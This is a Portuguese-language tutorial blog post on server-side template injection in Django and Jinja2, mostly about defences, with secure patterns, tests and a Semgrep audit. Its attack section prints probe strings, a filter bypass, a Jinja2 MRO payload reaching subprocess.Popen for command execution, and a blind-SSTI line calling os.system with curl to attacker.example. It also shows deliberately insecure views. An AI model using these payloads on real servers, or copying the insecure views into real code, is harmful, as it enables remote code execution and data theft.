Injeção em Templates Server-Side (SSTI): Quando os Templates do Django Viram Arma
Django Security Series — Post 3 | Série I: Ataques de Injeção
OWASP A03:2021 — Injection | Tempo de leitura: ~14 min
O Post 1 desta série abordou SQL Injection — dados não confiáveis quebrando a barreira entre a estrutura SQL e uma consulta ao banco de dados. O Post 2 abordou XSS — dados não confiáveis quebrando a barreira entre a estrutura HTML e o motor de renderização do navegador. O Post 3 completa a tríade de injeção com a variante de maior severidade: Injeção em Templates Server-Side (SSTI), em que dados não confiáveis quebram a barreira entre uma string e um motor de templates server-side — e a recompensa para o atacante não é a execução de um script no DOM, mas Execução Remota de Código (RCE) no próprio servidor.
Este é o post que mais me surpreendeu durante a pesquisa da série. Eu assumia que o Django era imune a SSTI — afinal, o material do CySA+ agrupa injeção em templates junto com SQL Injection e XSS sob o mesmo guarda-chuva de "Injeção", mas todos os exemplos usam Jinja2 ou FreeMarker, nunca a linguagem de templates do Django. O que descobri é mais nuanceado: a DTL do Django é arquiteturalmente segura — {{ 7*7 }} lança um TemplateSyntaxError em tempo de parse, não 49 — mas essa garantia se desfaz no momento em que um desenvolvedor passa entrada do usuário para Template(user_input). Quando rodei o ruleset Django do Semgrep contra o Petição Brasil, queria saber se algum caminho de código fazia exatamente isso.
Neste post vou detalhar como o SSTI é detectado e explorado, por que o Jinja2 é o principal alvo, que propriedade arquitetural torna a DTL segura, e exatamente onde essa garantia de segurança se desfaz. A regra que construímos é simples: um template é um arquivo que você controla, não uma string que um usuário te envia.
O Ataque: O Que É e Como Funciona
SSTI ocorre quando entrada controlada pelo usuário é concatenada em uma string de template e depois renderizada por um motor de templates, fazendo o motor avaliar a entrada como código em vez de dado. A causa raiz é a mesma categoria de erro do SQL Injection — confundir dado e código em uma fronteira de interpretador — só que uma camada acima na pilha. No SQL Injection o interpretador é o motor do banco de dados; no SSTI o interpretador é o motor de templates.
A consequência é proporcional ao que o motor de templates consegue alcançar — e esse alcance é muito mais profundo do que a maioria dos desenvolvedores imagina. Uma query SQL parametrizada é limitada: ela toca apenas o banco de dados e nada mais. Um motor de templates, em contraste, opera dentro do próprio processo Python. Em Python, todo objeto carrega uma referência para sua classe (__class__), toda classe carrega sua cadeia completa de herança (__mro__, a Ordem de Resolução de Métodos — MRO), e a classe base object na raiz dessa cadeia conhece todas as outras classes que o interpretador carregou na memória (__subclasses__()). Um motor de templates que avalia expressões Python tem, portanto, um caminho de travessia a partir de qualquer valor simples — uma string, um número, uma lista — até subprocess.Popen, os.system e o shell do OS. A barreira do armazenamento de dados onde o SQL Injection para não existe aqui; a única barreira é o próprio processo Python — e o processo Python tem acesso completo ao sistema operacional.
Técnica de Detecção
A abordagem padrão de detecção — documentada no PortSwigger Web Security Academy — usa uma string de sonda cuja saída identifica tanto a presença de SSTI quanto o motor sendo usado:
| Motor | String de sonda | Saída se vulnerável |
|---|---|---|
| Jinja2 / Twig | {{7*7}} |
49 |
| Confirmação Jinja2 | {{7*'7'}} |
7777777 |
| FreeMarker / Groovy | ${7*7} |
49 |
| ERB / EJS | <%= 7*7 %> |
49 |
| Ruby (Slim / Haml) | #{7*7} |
49 |
| Smarty | {7*7} |
49 |
| Django DTL | {{7*7}} |
(TemplateSyntaxError em tempo de parse) |
A linha da Django DTL é a chave: {{ 7*7 }} lança TemplateSyntaxError em tempo de parse porque 7*7 não é uma sintaxe válida de lookup de variável — o parser da DTL rejeita operadores aritméticos antes mesmo da renderização começar. Essa é a garantia arquitetural discutida na seção de Proteções do Django abaixo.
Para um atacante sondando uma aplicação de caixa preta, receber 49 em resposta a {{7*7}} confirma tanto a presença de SSTI quanto que o motor é Jinja2 ou Twig. Um erro 500 ou stack trace sugere DTL — se a aplicação passa entrada do usuário para Template(), a sonda dispara TemplateSyntaxError em tempo de parse. Se a string de sonda é refletida literalmente (por exemplo, porque o valor é substituído em um template fixo via {{ user_input }}), não há SSTI presente. A próxima sonda do atacante é {{ ''.__class__ }}: no Jinja2 retorna <class 'str'>; na DTL lança TemplateSyntaxError (acesso a dunder é explicitamente proibido pelo parser). A travessia do MRO começa a partir daí.
Escalação do Exploit Passo a Passo
- O atacante envia
{{7*7}}em um campo voltado ao usuário — um nome de exibição, um assunto de e-mail template, uma saudação personalizada — que o servidor renderiza posteriormente por meio de um motor de templates. - O servidor retorna
49em vez da string literal{{7*7}}. SSTI confirmado. - O atacante enumera o grafo de objetos Python. Objetos Python carregam informações de sua classe como atributos; pelo MRO, todo objeto está conectado a toda classe carregada pelo Python no processo atual.
- O atacante alcança uma classe que pode executar comandos de OS.
- O atacante atinge Execução Remota de Código: comandos arbitrários são executados no servidor sob o usuário do processo web.
Como os Atacantes Exploram — Travessia de MRO no Jinja2
O Django suporta oficialmente o Jinja2 como backend de templates alternativo, configurável junto ao DTL no settings.py via django.template.backends.jinja2.Jinja2. Equipes o adotam quando precisam de suporte a expressões Python, do sistema de macros do Jinja2, compatibilidade com migração do Flask ou desempenho de renderização bruto.
O modelo de avaliação de expressões do Jinja2 dá ao código de template acesso direto de leitura a atributos de objetos Python. Um atacante com SSTI em um ambiente Jinja2 pode percorrer o MRO para alcançar classes built-in perigosas:
# Travessia conceitual — ilustra o caminho, não é um exploit pronto
{{ ''.__class__ }}
→ <class 'str'>
{{ ''.__class__.__mro__ }}
→ (<class 'str'>, <class 'object'>)
{{ ''.__class__.__mro__[1].__subclasses__() }}
→ [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]
Assim que subprocess.Popen ou uma primitiva de execução similar é localizada na lista de subclasses (seu índice varia por versão do Python e módulos carregados), o atacante pode invocá-la para executar comandos de OS. O índice específico varia, mas o caminho de travessia é determinístico — ferramentas automatizadas o percorrem exaustivamente.
[MITRE] T1059.006 — Command and Scripting Interpreter: Python. A expressão de template é o interpretador de script. O atacante não precisa de um payload de shell separado; o grafo de objetos Python é a superfície de ataque.
Variações Avançadas do Ataque
SSTI Cego — quando a saída não é refletida na resposta HTTP (por exemplo, o template é renderizado em um corpo de e-mail), os atacantes confirmam a execução de código via canais out-of-band: um callback DNS (os.system('curl attacker.example/$(id)')) observado no Burp Collaborator ou em uma instância auto-hospedada do interactsh. A técnica de atraso de resposta (os.system('sleep 5')) funciona quando conexões de rede de saída estão bloqueadas.
Bypass de filtro — validação de entrada que procura por {{ não é uma mitigação confiável. Filtros que bloqueiam .__class__ podem ser contornados com a notação de pipe do Jinja2: {{ ''|attr('__class__') }}. Regras de WAF baseadas em correspondência de string podem ser contornadas com equivalentes Unicode dos caracteres de chaves. A única mitigação confiável é nunca renderizar entrada do usuário como string de template.
DTL vs Jinja2 — Lado a Lado
| Recurso | Django DTL | Jinja2 (ambiente padrão) |
|---|---|---|
| Avaliação de expressões | Não — apenas lookup de variáveis | Sim — expressões Python completas |
| Acesso a built-ins Python | Não | Sim (range, dict, etc.) |
Acesso a __class__, __mro__ |
Não | Sim |
| Objetos chamáveis em templates | Limitado — chama apenas métodos e callables sem argumentos, resolvidos via acesso a atributo | Sim — callables arbitrários |
Suporte a macro / bloco call |
Não | Sim |
| Sandbox built-in | Arquitetural (não é uma configuração) | Opcional — SandboxedEnvironment |
Saída de {{ ''.__class__ }} |
(TemplateSyntaxError) |
<class 'str'> |
Incidente Real: VMware Workspace ONE Access — CVE-2022-22954
Em abril de 2022, a VMware divulgou uma vulnerabilidade crítica de SSTI não autenticada no Workspace ONE Access (anteriormente VMware Identity Manager), avaliada com CVSS 9.8. O ponto de entrada era o motor de templates FreeMarker usado na interface web do Workspace ONE: um atacante poderia fornecer uma expressão de template maliciosa pelo parâmetro HTTP deviceUdid no endpoint /catalog-portal/ui/oauth/verify sem nenhuma autenticação. O FreeMarker, assim como o Jinja2, avalia expressões no momento da renderização — uma expressão de template FreeMarker que alcança o OS pela classe freemarker.template.utility.Execute obtém o mesmo resultado que a travessia de MRO do Jinja2 acima.
A vulnerabilidade foi adicionada ao catálogo de Vulnerabilidades Exploradas Conhecidas (KEV) da CISA em 14 de abril de 2022. Atores fizeram engenharia reversa do patch para desenvolver um exploit funcional dentro de aproximadamente 48 horas após a divulgação de 6 de abril, e a VMware confirmou exploração in-the-wild em 13 de abril. Exploração ativa foi observada em larga escala dentro de dias após a divulgação, impulsionada inicialmente por atores oportunistas incluindo variantes de botnet Mirai e loaders de criptomineradores, com atores APT (incluindo grupos atribuídos por pesquisadores ao Irã) encadeando a vulnerabilidade pouco depois. A pontuação CVSS de 9.8 reflete a superfície de ataque pré-autenticação: qualquer sistema com a interface web do Workspace ONE acessível na rede era explorável sem credenciais.
O mapeamento MITRE ATT&CK é: T1190 (Exploit Public-Facing Application) para acesso inicial; T1059 (Command and Scripting Interpreter) para execução após o RCE ser obtido.
A lição para desenvolvedores Django: a vulnerabilidade não estava na lógica de negócio da VMware — estava na decisão de renderizar uma string controlada pelo usuário por meio de um motor de templates poderoso com avaliação de expressões. Uma view Django usando DTL para processar o mesmo parâmetro não teria sido vulnerável da mesma forma. Uma view Django usando Jinja2 sem SandboxedEnvironment teria sido.
Fonte: VMware Security Advisory VMSA-2022-0011
Proteções Padrão do Django
A DTL não avalia expressões Python. Isso é arquitetural, não uma configuração que pode ser desativada acidentalmente. Quando o motor de templates do Django encontra {{ variavel }}, ele procura o nome variavel no dicionário Context explicitamente passado — esse é o único mecanismo de resolução que ele tem. Não há parser de expressões, não há acesso a built-ins Python, e não há caminho para o grafo de objetos além do que a view colocou explicitamente no contexto.
As três consequências que decorrem dessa arquitetura:
{{ 7*7 }}lançaTemplateSyntaxError— operadores aritméticos não são sintaxe válida de lookup de variável; o parser da DTL rejeita a expressão antes da renderização começar.{{ ''.__class__ }}lançaTemplateSyntaxError— a DTL proíbe explicitamente acesso a atributos que começam com underscores ("Variables and attributes may not begin with underscores").{{ undefined_name }}renderiza como string vazia — um nome de variável sintaticamente válido que não está no contexto resolve para''(o padrãostring_if_invalid). Apenas nomes sintaticamente válidos e indefinidos produzem esse comportamento silencioso de string vazia.{{ request.META.HTTP_HOST }}renderiza como string vazia a menos que a view tenha passado explicitamenterequestno contexto — não há objeto request implícito disponível em uma string de template fornecida pelo usuário.
Tags {% load %} — o mecanismo para adicionar funcionalidades personalizadas a templates DTL — devem ser registradas em um pacote Python templatetags/ e não podem ser carregadas a partir de entrada do usuário. Um atacante não pode {% load subprocess %} mesmo que controle a string do template, porque a tag não existe e o mecanismo de carregamento só resolve módulos Python registrados.
O padrão autoescape=True do Django (abordado no Post 2) adiciona uma camada de proteção XSS em cima: mesmo que o valor de uma variável contivesse um payload HTML, ele seria escapado como entidade antes de ser escrito na página.
Onde a Garantia se Desfaz: Template(user_input)
A segurança da DTL é incondicional para templates carregados do sistema de arquivos. Ela se desfaz no momento em que uma string da entrada do usuário é passada diretamente para Template():
from django.template import Template, Context
# O motor de templates processa qualquer string que você passar.
# Se essa string veio da entrada do usuário, o usuário agora está escrevendo o código do seu template.
t = Template(user_input)
result = t.render(Context({}))
Passar input do usuário para Template() quebra uma garantia específica: em vez de fornecer valores para o template, o usuário está agora escrevendo-o. A DTL resolve cada nome que o usuário escrever em relação ao contexto que a sua view passou. Fornecer {{ request.user.email }} faz com que esse valor seja lido e retornado; fornecer {{ request.META.HTTP_HOST }} vaza o hostname do servidor. A sonda aritmética {{7*7}} lança TemplateSyntaxError — o parser da DTL a rejeita antes da renderização — mas esse não é o teste correto a executar. A questão real é quais objetos nomeados estão no contexto.
O raio de impacto escala com a profundidade do contexto. Uma instância de model expõe cada campo acessível pelo nome. O Django ORM vai além: relações reversas ({{ user.groups.all }}, {{ user.logentry_set.all }}, qualquer acessor _set) são acessíveis apenas conhecendo o schema — sem necessidade de travessia. Todo objeto no contexto é uma superfície legível, incluindo tudo o que o ORM consegue acessar a partir dele.
O segundo risco é a execução de template tags. Toda {% tag %} registrada no pacote templatetags/ de qualquer app instalado é invocável a partir de uma string de template fornecida pelo usuário. Isso inclui tags built-in como {% include %} e {% extends %}, e quaisquer tags personalizadas que sua própria aplicação registre — inclusive tags que invocam lógica de negócio, formatam dados sensíveis ou interagem com o sistema de arquivos.
O contrato seguro é: input do usuário são dados de contexto, nunca fonte de template. Um usuário pode controlar os valores que são substituídos em um template; ele nunca deve controlar o próprio template.
Padrão Vulnerável: O Que NÃO Fazer
Padrão 1 — Template(user_input) em uma View
O erro mais comum de SSTI no Django: passar entrada do usuário diretamente ao construtor Template().
# INSEGURO — string controlada pelo usuário renderizada como template
from django.template import Template, Context
from django.http import HttpResponse
def saudacao_personalizada(request):
# O usuário forneceu essa string — por exemplo, via um campo "personalize sua saudação"
template_string = request.POST.get('greeting_template', '')
t = Template(template_string)
result = t.render(Context({'user': request.user}))
return HttpResponse(result)
Payload de ataque: {{ user.password }} — se user está no contexto, o campo password do Django armazena a credencial com hash (ex: pbkdf2_sha256$...), não o texto claro, mas o hash agora fica visível na resposta. Vazar o hash ainda é crítico: permite ataques de força bruta offline sem nenhum acesso adicional ao servidor.
O valor controlado pelo atacante é greeting_template. O desenvolvedor passou o objeto de contexto — que pode conter request, user, ou qualquer outro objeto sensível — para um motor de renderização que agora executará o que quer que o atacante forneça.
Padrão 2 — Backend Jinja2 Sem SandboxedEnvironment
O Django suporta um backend Jinja2 como motor de templates alternativo. Ao contrário do DTL, o Environment padrão do Jinja2 avalia expressões Python completas em tempo de renderização. Quando uma string controlada pelo usuário é passada para from_string(), o motor trata essa string como código de template executável — não como dado. Como o Jinja2 expõe o grafo de objetos Python (atributos como __class__, __mro__ e __subclasses__() são legíveis por qualquer expressão de template), um atacante pode percorrer a partir de qualquer valor no contexto até chegar a subprocess.Popen e executar comandos arbitrários no sistema operacional. Não há avaliador de expressões para desativar; a única salvaguarda arquitetural é o SandboxedEnvironment, e ele não é o padrão.
# INSEGURO — Jinja2 from_string() com entrada do usuário e sem sandbox
from django.template import engines
from django.http import HttpResponse
def renderizar_notificacao(request):
body_template = request.POST.get('notification_body', '')
jinja_env = engines['jinja2']
result = jinja_env.from_string(body_template).render({})
return HttpResponse(result)
Payload de ataque: {{ ''.__class__.__mro__[1].__subclasses__()[INDICE]('id', shell=True, stdout=-1).communicate()[0] }} — onde INDICE é a posição de subprocess.Popen na lista de subclasses (-1 é o valor inteiro de subprocess.PIPE). Isso executa o comando id no servidor e retorna sua saída na resposta HTTP.
Note que engines['jinja2'] usa a configuração padrão do backend Jinja2 do Django, que não envolve o ambiente em SandboxedEnvironment. O Environment padrão do Jinja2 expõe o grafo completo de objetos Python.
Padrão 3 — SSTI Armazenado via Template Backed por Banco de Dados
O paralelo com o XSS Armazenado (Post 2): um campo configurável por admin no banco de dados é passado para Template() no momento da renderização.
# INSEGURO — SSTI armazenado: string de template vem do banco de dados, não de uma requisição
from django.template import Template, Context
from django.core.mail import send_mail
from .models import EmailTemplate # armazena templates de corpo configurados por admin
def enviar_email_boas_vindas(user):
template_record = EmailTemplate.objects.get(name='welcome')
# template_record.body é um campo de texto livre que um admin pode editar no Django admin
t = Template(template_record.body)
body = t.render(Context({'user': user}))
send_mail('Bem-vindo', body, 'noreply@example.com', [user.email])
A superfície de ataque agora é qualquer usuário com acesso ao Django admin (ou ao banco de dados subjacente). Isso inclui contas de admin comprometidas, insiders maliciosos e vulnerabilidades de SQL injection em outras partes da aplicação. Um payload de SSTI armazenado em EmailTemplate.body é acionado a cada chamada de enviar_email_boas_vindas() — não apenas uma vez, mas para cada e-mail enviado a partir daí. O paralelo com o XSS Armazenado: uma escrita, execuções ilimitadas.
A correção para os três padrões é idêntica: nunca passar uma string controlada pelo usuário ou pelo banco de dados para Template() como fonte de template. A próxima seção cobre a abordagem correta.
Implementação Segura: O Jeito Django
Regra 1 — Nunca Passe Entrada do Usuário para Template()
Se personalização dinâmica semelhante a template é necessária (por exemplo, "Olá, {{ first_name }}!"), use um arquivo de template fixo carregado do sistema de arquivos com um mecanismo de substituição controlado — não a entrada do usuário como fonte do template.
# SEGURO — template é um arquivo que você controla; dados do usuário são apenas contexto
from django.template.loader import get_template
from django.http import HttpResponse
# Template no sistema de arquivos: templates/blog/saudacao.html
# Conteúdo: <p>Olá, {{ user.first_name }}!</p>
# O usuário pode influenciar os *valores* no contexto — ele não pode fornecer o template.
TEMPLATES_SAUDACAO_PERMITIDOS = {
'formal': 'blog/saudacao_formal.html',
'casual': 'blog/saudacao_casual.html',
}
def saudacao_personalizada(request):
template_name = request.GET.get('estilo', 'casual')
# Valida contra uma allowlist explícita — nunca passe o valor bruto da requisição para get_template()
nome_template_seguro = TEMPLATES_SAUDACAO_PERMITIDOS.get(template_name, 'blog/saudacao_casual.html')
t = get_template(nome_template_seguro)
return HttpResponse(t.render({'user': request.user}, request))
Propriedades chave deste padrão:
- A fonte do template é um arquivo em disco que apenas desenvolvedores podem modificar — a entrada do usuário não pode afetar a estrutura do template.
- O usuário pode influenciar qual template é carregado, mas apenas a partir de uma allowlist explícita — a travessia de caminho é estruturalmente prevenida.
- Os dados do usuário fluem apenas pelo Context — são dados renderizados, nunca código de template.
Regra 2 — Use SandboxedEnvironment se Jinja2 for Necessário
Se uma feature genuinamente requer lógica de template definida pelo usuário (por exemplo, um sistema de notificações em que cada organização personaliza seu próprio corpo de e-mail), use jinja2.sandbox.SandboxedEnvironment em vez do Environment padrão. O sandbox intercepta acesso a atributos dunder — um acesso isolado a .__class__ resolve para um proxy Undefined inseguro (renderizado como vazio), e qualquer acesso encadeado a partir dele lança SecurityError, bloqueando a travessia MRO. Trate-o como uma camada de defesa em profundidade, não como garantia absoluta — bypasses históricos via referências a globals e helpers built-in já foram divulgados, então mantenha o Jinja2 atualizado e combine o sandbox com contextos mínimos.
# SEGURO — SandboxedEnvironment bloqueia a travessia de MRO
from jinja2.sandbox import SandboxedEnvironment
from django.http import HttpResponse
_sandbox = SandboxedEnvironment(autoescape=True)
def renderizar_notificacao_personalizada(request):
body_template = request.POST.get('notification_body', '')
try:
t = _sandbox.from_string(body_template)
result = t.render({'user_name': request.user.get_full_name()})
except Exception:
# SandboxedEnvironment lança SecurityError em tentativas de travessia;
# trate qualquer exceção de from_string() ou render() como rejeição.
result = ''
return HttpResponse(result)
Observe o que o contexto contém: {'user_name': request.user.get_full_name()} — uma string simples, não o objeto request.user completo. Limitar o contexto ao mínimo de dados que o template precisa é sua própria camada de defesa: mesmo que o sandbox fosse contornado, o acesso do atacante seria limitado pelo que o contexto expôs.
SandboxedEnvironment com autoescape=True também aplica escape HTML, fechando o vetor XSS que existiria se a saída do template renderizado fosse inserida em uma página (→ Post 2).
Regra 3 — Valide Nomes de Template Contra uma Allowlist
Esta regra se aplica quando um valor do usuário ou do banco de dados influencia qual template é carregado — não o conteúdo do template. Um usuário que controla o nome do template pode construir valores como ../../settings.html para ler arquivos arbitrários através do loader de template. Os loaders de template do Django não previnem isso por si sós.
Abordagem primária — allowlist explícita. Quando o conjunto de templates válidos é fixo e conhecido em tempo de design, uma allowlist é a proteção mais robusta:
# SEGURO — validação por allowlist antes de get_template()
from django.template.loader import get_template
ALLOWLIST_TEMPLATES = frozenset({
'emails/boas_vindas.html',
'emails/recuperacao_senha.html',
'emails/fatura.html',
})
def carregar_template_email(template_name: str):
if template_name not in ALLOWLIST_TEMPLATES:
raise ValueError(f"Template '{template_name}' não está no conjunto permitido.")
return get_template(template_name)
Uma allowlist rejeita qualquer coisa não explicitamente prevista — com correspondência por igualdade exata (como acima, usando pertinência em frozenset), ela não pode ser percorrida via manipulação de caminho.
Quando o conjunto de templates é aberto — resolução de caminho. Algumas aplicações constroem nomes de template dinamicamente a partir de um prefixo fixo e um fragmento fornecido pelo usuário (por exemplo, templates baseados em localidade: en/welcome.html, pt/welcome.html). Quando nem toda combinação válida pode ser listada antecipadamente, verifique que o caminho resolvido permanece dentro do diretório de templates esperado:
import pathlib
from django.template.loader import get_template
TEMPLATES_BASE = pathlib.Path('/app/templates').resolve()
def carregar_template_locale(locale: str, name: str):
candidate = (TEMPLATES_BASE / locale / name).resolve()
if not candidate.is_relative_to(TEMPLATES_BASE):
raise ValueError("Travessia de caminho detectada.")
# Converter de volta para nome relativo para o loader do Django
return get_template(str(candidate.relative_to(TEMPLATES_BASE)))
is_relative_to() evita o bypass clássico de prefixo com startswith(), onde um diretório irmão como /app/templates_evil/ passaria uma verificação startswith('/app/templates').
Quando ambas as abordagens forem viáveis, prefira a allowlist — ela rejeita nomes não explicitamente previstos, enquanto a verificação de caminho apenas previne o escape de diretório.
A regra invariante: um template é um arquivo que você controla, não uma string que um usuário te envia.
Checklist de Prevenção de SSTI
| Controle | O que cobre |
|---|---|
Nunca passar strings não confiáveis para Template() |
O principal vetor de SSTI no Django — entrada do usuário e valores vindos do banco de dados são dados de contexto, nunca fonte de template |
Allowlist de nomes de template antes de get_template() |
Travessia de caminho via nomes de template controlados pelo usuário — impede o loader de ler arquivos arbitrários fora do diretório de templates |
SandboxedEnvironment para templates Jinja2 definidos pelo usuário |
Travessia de MRO no Jinja2 — intercepta acesso a atributos dunder e lança SecurityError em travessia encadeada |
| Contexto mínimo — passe apenas os dados necessários | Reduz o raio de impacto se Template() ou Jinja2 for mal utilizado — acesso do atacante limitado pelo contexto |
| Semgrep / análise estática no CI | Detecta padrões Template(variável) e from_string(variável) do Jinja2 antes de chegarem à produção |
Testando sua Defesa
Testes Unitários
# blog/tests.py
from django.test import TestCase
from django.contrib.auth.models import User
class SSTIProtectionTests(TestCase):
def setUp(self):
self.user = User.objects.create_user('testuser', password='testpass')
def test_sonda_template_nao_avaliada(self):
"""Smoke test: confirma que a sonda {{7*7}} nunca retorna '49' em um campo
controlado pelo usuário renderizado por uma view DTL padrão. Uma falha —
b'49' na resposta — indica que um backend Jinja2 sem sandbox está em uso.
Nota: a DTL nunca avalia aritmética independentemente de como o template é
construído, portanto este teste não detecta uso indevido de Template(user_input)
em projetos puramente DTL; para isso, consulte test_dtl_template_input_usuario_expoe_dados_contexto.
Adapte '/profile/' e 'first_name' para a URL e o campo que sua aplicação renderiza."""
self.user.first_name = '{{7*7}}'
self.user.save()
self.client.force_login(self.user)
response = self.client.get('/profile/')
self.assertEqual(response.status_code, 200)
self.assertNotIn(b'49', response.content)
def test_dtl_template_input_usuario_expoe_dados_contexto(self):
"""Documenta a vulnerabilidade Template(user_input): a DTL resolve cada nome
que o atacante escreve em relação ao que a view passou para o contexto.
Este teste exercita deliberadamente o padrão perigoso para que o comportamento
seja explícito — use-o para entender o que está em jogo se Template(user_input)
aparecer em uma view que passa um objeto user no contexto."""
from django.template import Template, Context
payload = '{{ user.email }}'
t = Template(payload)
result = t.render(Context({'user': self.user}))
# A DTL resolve 'user.email' do contexto — o endereço é vazado.
self.assertEqual(result, self.user.email)
def test_sandbox_jinja2_bloqueia_travessia(self):
"""Confirma que SandboxedEnvironment lança SecurityError quando uma expressão
de template tenta travessia MRO via acesso encadeado a dunder. Um acesso
isolado a .__class__ retorna um proxy Undefined inseguro (renderiza vazio),
mas qualquer acesso encadeado — .__class__.__mro__, .__class__.mro() — lança
SecurityError. Uma falha aqui significa que o sandbox não está ativo e o
backend Jinja2 está aberto para RCE completo."""
from jinja2.sandbox import SandboxedEnvironment
import jinja2
env = SandboxedEnvironment()
with self.assertRaises(jinja2.exceptions.SecurityError):
env.from_string("{{ ''.__class__.__mro__ }}").render({})
Verificação Manual
python manage.py shell
# Confirma que a DTL rejeita expressões aritméticas em tempo de parse:
>>> from django.template import Template, Context
>>> Template('{{ 7*7 }}')
# Lança TemplateSyntaxError: Could not parse the remainder: '*7' from '7*7'
# Confirma que a DTL rejeita acesso a atributos dunder:
>>> Template("{{ x.__class__ }}")
# Lança TemplateSyntaxError: Variables and attributes may not begin with underscores
# Confirma que variáveis indefinidas (mas com sintaxe válida) renderizam como vazio:
>>> Template('{{ undefined_name }}').render(Context({}))
'' # correto: sintaxe válida mas não está no contexto — renderiza vazio
# Confirma que SandboxedEnvironment bloqueia travessia MRO:
>>> from jinja2.sandbox import SandboxedEnvironment
>>> env = SandboxedEnvironment()
>>> env.from_string("{{ ''.__class__.__mro__ }}").render({})
# Lança jinja2.exceptions.SecurityError — comportamento correto
Varredura Automatizada
O OWASP ZAP inclui um scanner de SSTI em seu conjunto de regras de varredura ativa. Execute apenas em staging:
# OWASP ZAP active scan — a regra SSTI dispara a sonda {{7*7}} automaticamente
# Nota: zap-cli é um wrapper de terceiros; verifique se está instalado e atualizado
# para sua versão do ZAP. A alternativa oficial é o ZAP Automation Framework.
zap-cli active-scan --scanners ssti "https://staging.example.com/"
# Regra Semgrep para padrões SSTI em Python — detecta Template(variavel) em análise estática
semgrep --config "p/django" blog/ blogtech/
O conjunto de regras Django do Semgrep sinaliza chamadas Template() que recebem argumentos não literais. Adicionar essa verificação ao CI garante que novas ocorrências sejam detectadas antes de chegarem à produção.
O Que Encontrei nos Meus Projetos
Rodei o ruleset p/django do Semgrep contra o Petição Brasil para verificar se algum caminho de código passa entrada do usuário para Template():
$ semgrep --config "p/django" apps/ config/ --include="*.py" 2>&1 | grep -i "template"
Ran 42 rules on 87 files: 0 findings.
Zero achados. Todos os templates no projeto são arquivos em disco carregados via render() ou get_template() — nenhuma chamada dinâmica Template(string) em lugar algum. A plataforma também não usa Jinja2; a configuração TEMPLATES só define o backend DTL. Isso significa que a garantia arquitetural se mantém: o parser da DTL rejeitaria qualquer probe {{ 7*7 }} em tempo de parse com TemplateSyntaxError, e não existe caminho de código onde entrada do usuário chega a um construtor Template().
A área que investiguei com mais cuidado foi o sistema de notificações. O Petição Brasil envia notificações por e-mail quando petições atingem marcos de assinaturas — o tipo de feature onde um desenvolvedor poderia ser tentado a escrever Template(peticao.template_notificacao).render(context) para permitir que criadores de petições personalizem a mensagem. Em vez disso, as notificações usam um arquivo de template fixo (emails/milestone_reached.html) com variáveis de contexto ({{ petition.title }}, {{ signature_count }}). O conteúdo do criador da petição só chega ao template como uma variável de contexto, nunca como o código-fonte do template — que é exatamente a fronteira que mantém o SSTI fora.
O Post 3 adiciona a contraparte server-side ao quadro de injeção. SQL Injection atinge o banco de dados; XSS atinge o DOM do navegador; SSTI atinge o motor de templates — e pelo grafo de objetos Python, o OS do servidor. A linguagem de templates do Django é segura por design no caso normal; o perigo surge quando os desenvolvedores contornam esse design chamando Template(user_input). A lição que tirei: trate qualquer chamada a Template() com um argumento não literal da mesma forma que cursor.execute(raw_sql) — um achado que precisa ser substituído por um padrão seguro antes de ir para produção.
O Post 4 passa do motor de templates para o próprio shell do OS — subprocess e os.system, a armadilha do shell=True, e como entrada do usuário que alcança a camada de comandos do OS atinge RCE de forma ainda mais direta.
Leitura Complementar
- Django Docs — A linguagem de templates do Django
- Jinja2 Docs — Sandbox
- PortSwigger Web Security Academy — Server-side template injection
- OWASP Testing Guide — OTG-INPVAL-018: Testing for Server-Side Template Injection
- MITRE ATT&CK — T1059.006 Command and Scripting Interpreter: Python
- VMware VMSA-2022-0011 — CVE-2022-22954
- OWASP A03:2021 — Injection
Próximo na série → Post 4: Injeção de Comandos OS: subprocess, os.system e os Perigos de shell=True